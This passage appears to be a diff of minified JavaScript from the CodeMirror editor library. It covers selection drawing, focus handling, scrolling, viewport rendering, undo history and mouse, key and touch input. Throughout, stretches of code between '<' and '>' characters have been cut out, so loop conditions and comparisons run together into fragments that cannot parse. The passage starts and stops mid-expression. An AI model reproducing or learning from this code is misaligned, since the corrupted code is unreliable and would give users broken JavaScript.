+E.bottom)):(ba?(ba=k&&N&&Dd?m:E.left,N=k?f:n(a,l,"before"),a=k?m:n(b,l,"after"),q=k&&q&&r?f:x.right):(ba=k?n(a,l,"before"):m,N=!k&&N&&Dd?f:E.right,a=!k&&q&&r?m:x.left,q=k?n(b,l,"after"):f),d(ba,E.top,N-ba,E.bottom),E.bottomkd(E,G))G=E;0>kd(x,G)&&(G=x);if(!u||0>kd(E,u))u=E;0>kd(x,u)&&(u=x)});return{start:G,end:u}}var h=a.display,l=a.doc,n=document.createDocumentFragment(),r=Fe(a.display),m=r.left,f=Math.max(h.sizerWidth,vb(a)-h.sizer.offsetLeft)-
+r.right,k="ltr"==l.direction;h=b.from();b=b.to();if(h.line==b.line)e(h.line,h.ch,b.ch);else{var g=A(l,h.line);r=A(l,b.line);r=Da(g)==Da(r);h=e(h.line,h.ch,r?g.text.length+1:null).end;b=e(b.line,r?0:null,b.ch).start;r&&(h.topa.options.cursorBlinkRate&&(b.cursorDiv.style.visibility="hidden")}}function Ue(a){a.state.focused||(a.display.input.focus(),Yd(a))}function Ve(a){a.state.delayingBlurEvent=!0;setTimeout(function(){a.state.delayingBlurEvent&&(a.state.delayingBlurEvent=!1,xc(a))},100)}function Yd(a,b){a.state.delayingBlurEvent&&(a.state.delayingBlurEvent=!1);"nocursor"!=
+a.options.readOnly&&(a.state.focused||(ca(a,"focus",a,b),a.state.focused=!0,J(a.display.wrapper,"CodeMirror-focused"),a.curOp||a.display.selForContextMenu==a.doc.sel||(a.display.input.reset(),va&&setTimeout(function(){return a.display.input.reset(!0)},20)),a.display.input.receivedFocus()),Xd(a))}function xc(a,b){a.state.delayingBlurEvent||(a.state.focused&&(ca(a,"blur",a,b),a.state.focused=!1,Bb(a.display.wrapper,"CodeMirror-focused")),clearInterval(a.display.blinker),setTimeout(function(){a.state.focused||
+(a.display.shift=!1)},150))}function ld(a){a=a.display;for(var b=a.lineDiv.offsetTop,c=0;cfa){var e=d.node.offsetTop+d.node.offsetHeight;var h=e-b;b=e}else h=d.node.getBoundingClientRect(),h=h.bottom-h.top;e=d.line.height-h;2>h&&(h=yb(a));if(.005e)if(Y(d.line,h),We(d.line),d.rest)for(h=0;h=e&&(d=bb(b,Ia(A(b,c))-a.wrapper.clientHeight),e=c)}return{from:d,to:Math.max(e,d+1)}}function Xe(a){var b=a.display,c=b.view;if(b.alignWidgets||b.gutters.firstChild&&
+a.options.fixedGutter){for(var d=Vd(b)-b.scroller.scrollLeft+a.doc.scrollLeft,e=b.gutters.offsetWidth,h=d+"px",l=0;lb.top&&(b.top=0);var e=a.curOp&&null!=
+a.curOp.scrollTop?a.curOp.scrollTop:c.scroller.scrollTop,h=Md(a),l={};b.bottom-b.top>h&&(b.bottom=b.top+h);var n=a.doc.height+Ld(c),r=b.topn-d;b.tope+h&&(h=Math.min(b.top,(d?n:b.bottom)-h),h!=e&&(l.scrollTop=h));e=a.curOp&&null!=a.curOp.scrollLeft?a.curOp.scrollLeft:c.scroller.scrollLeft;c=vb(a)-(a.options.fixedGutter?c.gutters.offsetWidth:0);if(h=b.right-b.left>c)b.right=b.left+c;10>b.left?l.scrollLeft=0:b.leftc+e-3&&(l.scrollLeft=b.right+(h?0:10)-c);return l}function md(a,b){null!=b&&(nd(a),a.curOp.scrollTop=(null==a.curOp.scrollTop?a.doc.scrollTop:a.curOp.scrollTop)+b)}function Vb(a){nd(a);var b=a.getCursor();a.curOp.scrollToPos={from:b,to:b,margin:a.options.cursorScrollMargin}}function yc(a,b,c){null==b&&null==c||nd(a);null!=b&&(a.curOp.scrollLeft=b);null!=c&&(a.curOp.scrollTop=c)}function nd(a){var b=a.curOp.scrollToPos;if(b){a.curOp.scrollToPos=null;var c=Oe(a,b.from),d=Oe(a,b.to);Ze(a,
+c,d,b.margin)}}function Ze(a,b,c,d){b=ae(a,{left:Math.min(b.left,c.left),top:Math.min(b.top,c.top)-d,right:Math.max(b.right,c.right),bottom:Math.max(b.bottom,c.bottom)+d});yc(a,b.scrollLeft,b.scrollTop)}function zc(a,b){2>Math.abs(a.doc.scrollTop-b)||(hb||be(a,{top:b}),$e(a,b,!0),hb&&be(a),Ac(a,100))}function $e(a,b,c){b=Math.min(a.display.scroller.scrollHeight-a.display.scroller.clientHeight,b);if(a.display.scroller.scrollTop!=b||c)a.doc.scrollTop=b,a.display.scrollbars.setScrollTop(b),a.display.scroller.scrollTop!=
+b&&(a.display.scroller.scrollTop=b)}function Cb(a,b,c,d){b=Math.min(b,a.display.scroller.scrollWidth-a.display.scroller.clientWidth);(c?b==a.doc.scrollLeft:2>Math.abs(a.doc.scrollLeft-b))&&!d||(a.doc.scrollLeft=b,Xe(a),a.display.scroller.scrollLeft!=b&&(a.display.scroller.scrollLeft=b),a.display.scrollbars.setScrollLeft(b))}function Bc(a){var b=a.display,c=b.gutters.offsetWidth,d=Math.round(a.doc.height+Ld(a.display));return{clientHeight:b.scroller.clientHeight,viewHeight:b.wrapper.clientHeight,scrollWidth:b.scroller.scrollWidth,
+clientWidth:b.scroller.clientWidth,viewWidth:b.wrapper.clientWidth,barLeft:a.options.fixedGutter?c:0,docHeight:d,scrollHeight:d+Za(a)+b.barHeight,nativeBarWidth:b.nativeBarWidth,gutterWidth:c}}function Wb(a,b){b||(b=Bc(a));var c=a.display.barWidth,d=a.display.barHeight;af(a,b);for(var e=0;4>e&&c!=a.display.barWidth||d!=a.display.barHeight;e++)c!=a.display.barWidth&&a.options.lineWrapping&&ld(a),af(a,Bc(a)),c=a.display.barWidth,d=a.display.barHeight}function af(a,b){var c=a.display,d=c.scrollbars.update(b);
+c.sizer.style.paddingRight=(c.barWidth=d.right)+"px";c.sizer.style.paddingBottom=(c.barHeight=d.bottom)+"px";c.heightForcer.style.borderBottom=d.bottom+"px solid transparent";d.right&&d.bottom?(c.scrollbarFiller.style.display="block",c.scrollbarFiller.style.height=d.bottom+"px",c.scrollbarFiller.style.width=d.right+"px"):c.scrollbarFiller.style.display="";d.bottom&&a.options.coverGutterNextToScrollbar&&a.options.fixedGutter?(c.gutterFiller.style.display="block",c.gutterFiller.style.height=d.bottom+
+"px",c.gutterFiller.style.width=b.gutterWidth+"px"):c.gutterFiller.style.display=""}function bf(a){a.display.scrollbars&&(a.display.scrollbars.clear(),a.display.scrollbars.addClass&&Bb(a.display.wrapper,a.display.scrollbars.addClass));a.display.scrollbars=new cf[a.options.scrollbarStyle](function(b){a.display.wrapper.insertBefore(b,a.display.scrollbarFiller);L(b,"mousedown",function(){a.state.focused&&setTimeout(function(){return a.display.input.focus()},0)});b.setAttribute("cm-not-content","true")},
+function(b,c){"horizontal"==c?Cb(a,b):zc(a,b)},a);a.display.scrollbars.addClass&&J(a.display.wrapper,a.display.scrollbars.addClass)}function Db(a){a.curOp={cm:a,viewChanged:!1,startHeight:a.doc.height,forceUpdate:!1,updateInput:null,typing:!1,changeObjs:null,cursorActivityHandlers:null,cursorActivityCalled:0,selectionChanged:!1,updateMaxLine:!1,scrollLeft:null,scrollTop:null,scrollToPos:null,focus:!1,id:++zg};a=a.curOp;Ub?Ub.ops.push(a):a.ownsGroup=Ub={ops:[a],delayedCallbacks:[]}}function Eb(a){sg(a.curOp,
+function(a){for(var b=0;b=h.viewTo)||h.maxLineChanged&&e.options.lineWrapping;d.update=d.mustUpdate&&new od(e,d.mustUpdate&&{top:d.scrollTop,ensure:d.scrollToPos},d.forceUpdate)}for(b=0;bk;k++){var g=!1;n=Sa(e,r);var u=m&&m!=r?Sa(e,m):n;n={left:Math.min(n.left,
+u.left),top:Math.min(n.top,u.top)-f,right:Math.max(n.left,u.left),bottom:Math.max(n.bottom,u.bottom)+f};u=ae(e,n);var p=e.doc.scrollTop,E=e.doc.scrollLeft;null!=u.scrollTop&&(zc(e,u.scrollTop),1m.top+k.top?r=!0:m.bottom+k.top>(window.innerHeight||document.documentElement.clientHeight)&&
+(r=!1),null==r||Ag||(m=t("div","\u200b",null,"position: absolute;\n top: "+(m.top-f.viewOffset-e.display.lineSpace.offsetTop)+"px;\n height: "+(m.bottom-m.top+Za(e)+f.barHeight)+"px;\n left: "+m.left+"px; width: "+Math.max(2,m.right-m.left)+"px;"),e.display.lineSpace.appendChild(m),m.scrollIntoView(r),e.display.lineSpace.removeChild(m)))}m=d.maybeHiddenMarkers;r=d.maybeUnhiddenMarkers;if(m)for(f=0;fb)&&(e.updateLineNumbers=b);a.curOp.viewChanged=!0;if(b>=e.viewTo)ib&&Aa(a.doc,b)e.viewFrom?lb(a):(e.viewFrom+=d,e.viewTo+=d);else if(b<=e.viewFrom&&c>=e.viewTo)lb(a);else if(b<=e.viewFrom){var h=pd(a,c,c+d,1);h?(e.view=e.view.slice(h.index),e.viewFrom=h.lineN,e.viewTo+=d):lb(a)}else if(c>=e.viewTo)(h=pd(a,b,b,-1))?(e.view=e.view.slice(0,h.index),e.viewTo=h.lineN):lb(a);else{h=pd(a,b,b,-1);var l=pd(a,c,c+d,1);h&&l?(e.view=e.view.slice(0,h.index).concat(gd(a,h.lineN,l.lineN)).concat(e.view.slice(l.index)),e.viewTo+=d):lb(a)}if(a=e.externalMeasured)c=e.lineN&&b=d.viewTo||(a=d.view[wb(a,b)],null!=a.node&&(a=a.changes||(a.changes=[]),-1==H(a,c)&&a.push(c)))}function lb(a){a.display.viewFrom=a.display.viewTo=a.doc.first;a.display.view=[];a.display.viewOffset=0}function pd(a,b,c,d){var e=wb(a,b),h=a.display.view;if(!ib||c==a.doc.first+a.doc.size)return{index:e,
+lineN:c};for(var l=a.display.viewFrom,n=0;nd?0:h.length-1))return null;c+=d*h[e-(0>d?1:0)].size;e+=d}return{index:e,lineN:c}}function ef(a){a=a.display.view;for(var b=0,c=0;c=
+a.display.viewTo)){var c=+new Date+a.options.workTime,d=Ja(a,b.highlightFrontier),e=[];b.iter(d.line,Math.min(b.first+b.size,a.display.viewTo+500),function(h){if(d.line>=a.display.viewFrom){var l=h.styles,n=h.text.length>a.options.maxHighlightLength?db(b.mode,d.state):null,r=oc(a,h,d,!0);n&&(d.state=n);h.styles=r.styles;n=h.styleClasses;(r=r.classes)?h.styleClasses=r:n&&(h.styleClasses=null);r=!l||l.length!=h.styles.length||n!=r&&(!n||!r||n.bgClass!=r.bgClass||n.textClass!=r.textClass);for(n=0;!r&&
+nc)return Ac(a,a.options.workDelay),!0});b.highlightFrontier=d.line;b.modeFrontier=Math.max(b.modeFrontier,d.line);e.length&&Ga(a,function(){for(var b=0;b=c.viewFrom&&
+b.visible.to<=c.viewTo&&(null==c.updateLineNumbers||c.updateLineNumbers>=c.viewTo)&&c.renderedView==c.view&&0==ef(a))return!1;Ye(a)&&(lb(a),b.dims=Od(a));var e=d.first+d.size,h=Math.max(b.visible.from-a.options.viewportMargin,d.first),l=Math.min(e,b.visible.to+a.options.viewportMargin);c.viewFromh-c.viewFrom&&(h=Math.max(d.first,c.viewFrom));c.viewTo>l&&20>c.viewTo-l&&(l=Math.min(e,c.viewTo));ib&&(h=Aa(a.doc,h),l=Zc(a.doc,l));d=h!=c.viewFrom||l!=c.viewTo||c.lastWrapHeight!=b.wrapperHeight||
+c.lastWrapWidth!=b.wrapperWidth;e=a.display;0==e.view.length||h>=e.viewTo||l<=e.viewFrom?(e.view=gd(a,h,l),e.viewFrom=h):(e.viewFrom>h?e.view=gd(a,h,e.viewFrom).concat(e.view):e.viewFroml&&(e.view=e.view.slice(0,wb(a,l))));e.viewTo=l;c.viewOffset=Ia(A(a.doc,c.viewFrom));a.display.mover.style.top=c.viewOffset+"px";l=ef(a);if(!d&&0==l&&!b.force&&c.renderedView==c.view&&(null==c.updateLineNumbers||
+c.updateLineNumbers>=c.viewTo))return!1;a.hasFocus()?h=null:(h=D())&&v(a.display.lineDiv,h)?(h={activeElt:h},window.getSelection&&(e=window.getSelection(),e.anchorNode&&e.extend&&v(a.display.lineDiv,e.anchorNode)&&(h.anchorNode=e.anchorNode,h.anchorOffset=e.anchorOffset,h.focusNode=e.focusNode,h.focusOffset=e.focusOffset))):h=null;4=a.display.viewFrom&&b.visible.to<=a.display.viewTo)break;if(!ce(a,b))break;ld(a);d=Bc(a);wc(a);Wb(a,d);de(a,d);b.force=!1}b.signal(a,"update",a);if(a.display.viewFrom!=a.display.reportedViewFrom||a.display.viewTo!=a.display.reportedViewTo)b.signal(a,"viewportChange",a,a.display.viewFrom,a.display.viewTo),a.display.reportedViewFrom=
+a.display.viewFrom,a.display.reportedViewTo=a.display.viewTo}function be(a,b){var c=new od(a,b);if(ce(a,c)){ld(a);df(a,c);var d=Bc(a);wc(a);Wb(a,d);de(a,d);c.finish()}}function Cg(a,b,c){function d(b){var d=b.nextSibling;va&&Qa&&a.display.currentWheelTarget==b?b.style.display="none":b.parentNode.removeChild(b);return d}var e=a.display,h=a.options.lineNumbers,l=e.lineDiv,n=l.firstChild,r=e.view;e=e.viewFrom;for(var m=0;mh.clientWidth,n=h.scrollHeight>h.clientHeight;if(d&&l||c&&n){if(c&&Qa&&va){l=b.target;var r=e.view;a:for(;l!=h;l=l.parentNode)for(var m=
+0;mn?l=Math.max(0,l+n-50):r=Math.min(a.doc.height,r+n+50),be(a,{top:l,bottom:r})),20>qd&&(null==e.wheelStartX?(e.wheelStartX=h.scrollLeft,e.wheelStartY=h.scrollTop,e.wheelDX=d,e.wheelDY=c,setTimeout(function(){if(null!=e.wheelStartX){var a=h.scrollLeft-e.wheelStartX,b=h.scrollTop-e.wheelStartY;a=b&&e.wheelDY&&b/e.wheelDY||a&&e.wheelDX&&a/
+e.wheelDX;e.wheelStartX=e.wheelStartY=null;a&&(Ka=(Ka*qd+a)/(qd+1),++qd)}},200)):(e.wheelDX+=d,e.wheelDY+=c))):(c&&n&&zc(a,Math.max(0,h.scrollTop+c*Ka)),Cb(a,Math.max(0,h.scrollLeft+d*Ka)),(!c||c&&n)&&qa(b),e.wheelStartX=null)}}function Ua(a,b){var c=a[b];a.sort(function(a,b){return K(a.from(),b.from())});b=H(a,c);for(c=1;cK(a,b.from))return a;if(0>=K(a,b.to))return nb(b);var c=a.line+b.text.length-(b.to.line-b.from.line)-1,d=a.ch;a.line==b.to.line&&(d+=nb(b).ch-b.to.ch);return z(c,d)}function fe(a,b){for(var c=[],d=0;dh-a.cm.options.historyEventDelay||"*"==b.origin.charAt(0))){if(e.lastOp==d){pf(e.done);var n=g(e.done)}else e.done.length&&!g(e.done).ranges?n=g(e.done):1e.undoDepth;)e.done.shift(),e.done[0].ranges||e.done.shift();e.done.push(c);e.generation=++e.maxGeneration;e.lastModTime=e.lastSelTime=h;e.lastOp=e.lastSelOp=d;e.lastOrigin=e.lastSelOrigin=b.origin;r||ca(a,"historyAdded")}function sd(a,b){var c=g(b);c&&c.ranges&&c.equals(a)||b.push(a)}function of(a,b,c,d){var e=b["spans_"+a.id],h=0;a.iter(Math.max(a.first,c),Math.min(a.first+a.size,d),function(d){d.markedSpans&&((e||(e=b["spans_"+a.id]={}))[h]=d.markedSpans);++h})}function Fg(a){if(!a)return null;
+for(var b,c=0;cK(b,a),d!=0>K(c,a)?(a=b,b=c):d!=0>K(b,c)&&(b=c)),new V(a,b)):new V(c||b,b)}function td(a,b,c,d,e){null==e&&(e=a.cm&&(a.cm.display.shift||
+a.extend));ua(a,new La([je(a.sel.primary(),b,c,e)],0),d)}function sf(a,b,c){for(var d=[],e=a.cm&&(a.cm.display.shift||a.extend),h=0;hK(b.primary().head,a.sel.primary().head)?-1:1);uf(a,vf(a,b,d,!0));c&&!1===c.scroll||!a.cm||Vb(a.cm)}function uf(a,b){b.equals(a.sel)||(a.sel=b,a.cm&&
+(a.cm.curOp.updateInput=a.cm.curOp.selectionChanged=!0,mc(a.cm)),ta(a,"cursorActivity",a))}function wf(a){uf(a,vf(a,a.sel,null,!1))}function vf(a,b,c,d){for(var e,h=0;h=b.ch:n.to>b.ch))){if(e&&(ca(r,"beforeCursorEnter"),r.explicitlyCleared))if(h.markedSpans){--l;continue}else break;if(r.atomic){if(c){l=r.find(0>d?1:-1);n=void 0;if(0>d?r.inclusiveRight:r.inclusiveLeft)l=xf(a,l,-d,l&&l.line==b.line?h:null);if(l&&l.line==b.line&&(n=K(l,c))&&(0>d?0>n:0d?-1:1);if(0>d?r.inclusiveLeft:r.inclusiveRight)c=xf(a,
+c,d,c.line==b.line?h:null);return c?Zb(a,c,b,d,e):null}}}return b}function le(a,b,c,d,e){d=d||1;b=Zb(a,b,c,d,e)||!e&&Zb(a,b,c,d,!0)||Zb(a,b,c,-d,e)||!e&&Zb(a,b,c,-d,!0);return b?b:(a.cantEdit=!0,z(a.first,0))}function xf(a,b,c,d){return 0>c&&0==b.ch?b.line>a.first?M(a,z(b.line-1)):null:0a.lastLine())){if(b.from.linee&&(b={from:b.from,to:z(e,A(a,e).text.length),text:[b.text[0]],origin:b.origin});b.removed=S(a,b.from,b.to);c||
+(c=fe(a,b));a.cm?Hg(a.cm,b,d):he(a,b,d);ud(a,c,$a)}}function Hg(a,b,c){var d=a.doc,e=a.display,h=b.from,l=b.to,n=!1,r=h.line;a.options.lineWrapping||(r=T(Da(A(d,h.line))),d.iter(r,l.line+1,function(a){if(a==e.maxLine)return n=!0}));-1e.maxLineLength&&(e.maxLine=a,e.maxLineLength=b,e.maxLineChanged=!0,n=!1)}),n&&(a.curOp.updateMaxLine=!0));Id(d,h.line);Ac(a,400);c=b.text.length-
+(l.line-h.line)-1;b.full?Ba(a):h.line!=l.line||1!=b.text.length||lf(a.doc,b)?Ba(a,h.line,l.line+1,c):mb(a,h.line,"text");c=wa(a,"changes");if((d=wa(a,"change"))||c)b={from:h,to:l,text:b.text,removed:b.removed,origin:b.origin},d&&ta(a,"change",a,b),c&&(a.curOp.changeObjs||(a.curOp.changeObjs=[])).push(b);a.display.selForContextMenu=null}function ac(a,b,c,d,e){d||(d=c);if(0>K(d,c)){var h=[d,c];c=h[0];d=h[1];h}"string"==typeof b&&(b=a.splitLines(b));$b(a,{from:c,to:d,text:b,origin:e})}function Ef(a,
+b,c,d){c=K(h.from,g(d).to);){var l=d.pop();if(0>K(l.from,h.from)){h.from=l.from;break}}d.push(h)}Ga(a,function(){for(var b=d.length-1;0<=b;b--)ac(a.doc,"",d[b].from,d[b].to,"+delete");Vb(a)})}function me(a,b,c){b=ab(a.text,b+c,
+c);return 0>b||b>a.text.length?null:b}function ne(a,b,c){a=me(a,b.ch,c);return null==a?null:new z(b.line,a,0>c?"after":"before")}function oe(a,b,c,d,e){if(a&&(a=Na(c,b.doc.direction))){a=0>e?g(a):a[0];var h=0>e==(1==a.level)?"after":"before";if(0e?c.text.length-1:0;var r=Ra(b,l,n).top;n=ma(function(a){return Ra(b,l,a).top==r},0>e==(1==a.level)?a.from:a.to-1,n);"before"==h&&(n=me(c,n,1))}else n=0>e?a.to:a.from;return new z(d,n,h)}return new z(d,
+0>e?c.text.length:0,0>e?"before":"after")}function Qg(a,b,c,d){var e=Na(b,a.doc.direction);if(!e)return ne(b,c,d);c.ch>=b.text.length?(c.ch=b.text.length,c.sticky="before"):0>=c.ch&&(c.ch=0,c.sticky="after");var h=Xa(e,c.ch,c.sticky),l=e[h];if("ltr"==a.doc.direction&&0==l.level%2&&(0c.ch:l.fromd,g=n(c,k?1:-1);if(null!=g&&(k?g<=l.to&&g<=f.end:g>=l.from&&g>=f.begin))return new z(c.line,g,k?"before":"after")}l=function(a,b,d){for(var h=function(a,b){return b?new z(c.line,n(a,1),"before"):new z(c.line,a,"after")};0<=a&&afa&&27==a.keyCode&&(a.returnValue=!1);var b=a.keyCode;this.display.shift=16==b||a.shiftKey;var c=Sf(this,a);Ta&&(pe=c?b:null,!c&&88==b&&!Tg&&(Qa?a.metaKey:a.ctrlKey)&&this.replaceSelection("",null,"cut"));18!=b||/\bCodeMirror-crosshair\b/.test(this.display.lineDiv.className)||Ug(this)}}function Ug(a){function b(a){18!=a.keyCode&&a.altKey||(Bb(c,"CodeMirror-crosshair"),ja(document,"keyup",b),ja(document,"mouseover",b))}var c=a.display.lineDiv;
+J(c,"CodeMirror-crosshair");L(document,"keyup",b);L(document,"mouseover",b)}function Uf(a){16==a.keyCode&&(this.doc.sel.shift=!1);ka(this,a)}function Vf(a){if(!(fb(this.display,a)||ka(this,a)||a.ctrlKey&&!a.altKey||Qa&&a.metaKey)){var b=a.keyCode,c=a.charCode;if(Ta&&b==pe)pe=null,qa(a);else if(!Ta||a.which&&!(10>a.which)||!Sf(this,a))if(b=String.fromCharCode(null==c?b:c),"\b"!=b&&!Sg(this,a,b))this.display.input.onKeyPress(a)}}function Vg(a,b){var c=+new Date;if(Mc&&Mc.compare(c,a,b))return Nc=Mc=
+null,"triple";if(Nc&&Nc.compare(c,a,b))return Mc=new qe(c,a,b),Nc=null,"double";Nc=new qe(c,a,b);Mc=null;return"single"}function Wf(a){var b=this.display;if(!(ka(this,a)||b.activeTouch&&b.input.supportsTouch()))if(b.input.ensurePolled(),b.shift=a.shiftKey,fb(b,a))va||(b.scroller.draggable=!1,setTimeout(function(){return b.scroller.draggable=!0},100));else if(!zd(this,a,"gutterClick",!0)){var c=Ab(this,a),d=tb(a),e=c?Vg(c,d):"single";window.focus();1==d&&this.state.selectingText&&this.state.selectingText(a);
+c&&Wg(this,d,c,e,a)||(1==d?c?Xg(this,c,e,a):(a.target||a.srcElement)==b.scroller&&qa(a):2==d?(c&&td(this.doc,c),setTimeout(function(){return b.input.focus()},20)):3==d&&(re?Xf(this,a):Ve(this)))}}function Wg(a,b,c,d,e){var h="Click";"double"==d?h="Double"+h:"triple"==d&&(h="Triple"+h);return Lc(a,Mf((1==b?"Left":2==b?"Middle":"Right")+h,e),e,function(b){"string"==typeof b&&(b=Kc[b]);if(!b)return!1;var d=!1;try{a.isReadOnly()&&(a.state.suppressEdits=!0),d=b(a,c)!=yd}finally{a.state.suppressEdits=!1}return d})}
+function Xg(a,b,c,d){R?setTimeout(W(Ue,a),0):a.curOp.focus=D();var e=a.getOption("configureMouse");e=e?e(a,c,d):{};null==e.unit&&(e.unit=(Yg?d.shiftKey&&d.metaKey:d.altKey)?"rectangle":"single"==c?"char":"double"==c?"word":"line");if(null==e.extend||a.doc.extend)e.extend=a.doc.extend||d.shiftKey;null==e.addNew&&(e.addNew=Qa?d.metaKey:d.ctrlKey);null==e.moveOnDrag&&(e.moveOnDrag=!(Qa?d.altKey:d.ctrlKey));var h=a.doc.sel,l;a.options.dragDrop&&Zg&&!a.isReadOnly()&&"single"==c&&-1<(l=h.contains(b))&&
+(0>K((l=h.ranges[l]).from(),b)||0b.xRel)?$g(a,d,b,e):ah(a,d,b,e)}function $g(a,b,c,d){var e=a.display,h=!1,l=ra(a,function(b){va&&(e.scroller.draggable=!1);a.state.draggingText=!1;ja(document,"mouseup",l);ja(document,"mousemove",n);ja(e.scroller,"dragstart",r);ja(e.scroller,"drop",l);h||(qa(b),d.addNew||td(a.doc,c,null,null,d.extend),va||R&&9==fa?setTimeout(function(){document.body.focus();e.input.focus()},20):e.input.focus())}),n=function(a){h=h||10<=Math.abs(b.clientX-
+a.clientX)+Math.abs(b.clientY-a.clientY)},r=function(){return h=!0};va&&(e.scroller.draggable=!0);a.state.draggingText=l;l.copy=!d.moveOnDrag;e.scroller.dragDrop&&e.scroller.dragDrop();L(document,"mouseup",l);L(document,"mousemove",n);L(e.scroller,"dragstart",r);L(e.scroller,"drop",l);Ve(a);setTimeout(function(){return e.input.focus()},20)}function Yf(a,b,c){if("char"==c)return new V(b,b);if("word"==c)return a.findWordAt(b);if("line"==c)return new V(z(b.line,0),M(a.doc,z(b.line+1,0)));a=c(a,b);return new V(a.from,
+a.to)}function ah(a,b,c,d){function e(b){if(0!=K(p,b))if(p=b,"rectangle"==d.unit){var e=[],h=a.options.tabSize,l=k(A(r,c.line).text,c.ch,h),n=k(A(r,b.line).text,b.ch,h),f=Math.min(l,n);l=Math.max(l,n);n=Math.min(c.line,b.line);for(var E=Math.min(a.lastLine(),Math.max(c.line,b.line));n<=E;n++){var x=A(r,n).text,G=U(x,f,h);f==l?e.push(new V(z(n,G),z(n,G))):x.length>G&&e.push(new V(z(n,G),z(n,U(x,l,h))))}e.length||e.push(new V(c,c));ua(r,Ua(m.ranges.slice(0,g).concat(e),g),{origin:"*mouse",scroll:!1});
+a.scrollIntoView(b)}else e=u,f=Yf(a,b,d.unit),b=e.anchor,0=m.to||l.lineE.bottom?20:0;f&&setTimeout(ra(a,function(){x==c&&(n.scroller.scrollTop+=
+f,h(b))}),50)}}function l(b){a.state.selectingText=!1;x=Infinity;qa(b);n.input.focus();ja(document,"mousemove",N);ja(document,"mouseup",q);r.history.lastSelOrigin=null}var n=a.display,r=a.doc;qa(b);var m=r.sel,f=m.ranges;if(d.addNew&&!d.extend){var g=r.sel.contains(c);var u=-1h:0=Math.floor(a.display.gutters.getBoundingClientRect().right))return!1;d&&qa(b);d=a.display;var l=d.lineDiv.getBoundingClientRect();if(h>l.bottom||!wa(a,c))return Nb(b);h-=l.top-d.viewOffset;for(l=0;l=e)return e=bb(a.doc,h),ca(a,c,a,e,a.options.gutters[l],b),Nb(b)}}function Xf(a,b){var c;(c=fb(a.display,b))||(c=wa(a,"gutterContextMenu")?zd(a,b,"gutterContextMenu",
+!1):!1);if(!c&&!ka(a,b,"contextmenu"))a.display.input.onContextMenu(b)}function Zf(a){a.display.wrapper.className=a.display.wrapper.className.replace(/\s*cm-s-\S+/g,"")+a.options.theme.replace(/(^|\s)\s*/g," cm-s-");vc(a)}function Oc(a){ff(a);Ba(a);Xe(a)}function ch(a,b,c){!b!=!(c&&c!=ec)&&(c=a.display.dragFunctions,b=b?L:ja,b(a.display.scroller,"dragstart",c.start),b(a.display.scroller,"dragenter",c.enter),b(a.display.scroller,"dragover",c.over),b(a.display.scroller,"dragleave",c.leave),b(a.display.scroller,
+"drop",c.drop))}function dh(a){a.options.lineWrapping?(J(a.display.wrapper,"CodeMirror-wrap"),a.display.sizer.style.minWidth="",a.display.sizerWidth=null):(Bb(a.display.wrapper,"CodeMirror-wrap"),kc(a));Wd(a);Ba(a);vc(a);setTimeout(function(){return Wb(a)},100)}function ia(a,b){var c=this;if(!(this instanceof ia))return new ia(a,b);this.options=b=b?y(b):{};y($f,b,!1);ee(b);var d=b.value;"string"==typeof d&&(d=new Ca(d,b.mode,null,b.lineSeparator,b.direction));this.doc=d;var e=new ia.inputStyles[b.inputStyle](this);
+e=this.display=new za(a,d,e);e.wrapper.CodeMirror=this;ff(this);Zf(this);b.lineWrapping&&(this.display.wrapper.className+=" CodeMirror-wrap");bf(this);this.state={keyMaps:[],overlays:[],modeGen:0,overwrite:!1,delayingBlurEvent:!1,focused:!1,suppressEdits:!1,pasteIncoming:!1,cutIncoming:!1,selectingText:!1,draggingText:!1,highlight:new Gb,keySeq:null,specialChars:null};b.autofocus&&!gc&&e.input.focus();R&&11>fa&&setTimeout(function(){return c.display.input.reset(!0)},20);eh(this);ag||(Mg(),ag=!0);
+Db(this);this.curOp.forceUpdate=!0;mf(this,d);b.autofocus&&!gc||this.hasFocus()?setTimeout(W(Yd,this),20):xc(this);for(var h in Ad)if(Ad.hasOwnProperty(h))Ad[h](c,b[h],ec);Ye(this);b.finishInit&&b.finishInit(this);for(d=0;dfa?L(d.scroller,"dblclick",ra(a,function(b){if(!ka(a,b)){var d=Ab(a,b);!d||zd(a,b,"gutterClick",!0)||fb(a.display,b)||(qa(b),b=a.findWordAt(d),td(a.doc,b.anchor,b.head))}})):L(d.scroller,"dblclick",function(b){return ka(a,b)||qa(b)});re||L(d.scroller,"contextmenu",function(b){return Xf(a,b)});var e,h={end:0};L(d.scroller,"touchstart",function(b){var c;
+if(c=!ka(a,b))1!=b.touches.length?c=!1:(c=b.touches[0],c=1>=c.radiusX&&1>=c.radiusY),c=!c;c&&!zd(a,b,"gutterClick",!0)&&(d.input.ensurePolled(),clearTimeout(e),c=+new Date,d.activeTouch={start:c,moved:!1,prev:300>=c-h.end?h:null},1==b.touches.length&&(d.activeTouch.left=b.touches[0].pageX,d.activeTouch.top=b.touches[0].pageY))});L(d.scroller,"touchmove",function(){d.activeTouch&&(d.activeTouch.moved=!0)});L(d.scroller,"touchend",function(e){var h=d.activeTouch;if(h&&!fb(d,e)&&null!=h.left&&!h.moved&&
+300>new Date-h.start){var l=a.coordsChar(d.activeTouch,"page");h=!h.prev||c(h,h.prev)?new V(l,l):!h.prev.prev||c(h,h.prev.prev)?a.findWordAt(l):new V(z(l.line,0),M(a.doc,z(l.line+1,0)));a.setSelection(h.anchor,h.head);a.focus();qa(e)}b()});L(d.scroller,"touchcancel",b);L(d.scroller,"scroll",function(){d.scroller.clientHeight&&(zc(a,d.scroller.scrollTop),Cb(a,d.scroller.scrollLeft,!0),ca(a,"scroll",a))});L(d.scroller,"mousewheel",function(b){return hf(a,b)});L(d.scroller,"DOMMouseScroll",function(b){return hf(a,
+b)});L(d.wrapper,"scroll",function(){return d.wrapper.scrollTop=d.wrapper.scrollLeft=0});d.dragFunctions={enter:function(b){ka(a,b)||sb(b)},over:function(b){if(!ka(a,b)){var d=Ab(a,b);if(d){var c=document.createDocumentFragment();Te(a,d,c);a.display.dragCursor||(a.display.dragCursor=t("div",null,"CodeMirror-cursors CodeMirror-dragcursors"),a.display.lineSpace.insertBefore(a.display.dragCursor,a.display.cursorDiv));C(a.display.dragCursor,c)}sb(b)}},start:function(b){if(R&&(!a.state.draggingText||100>
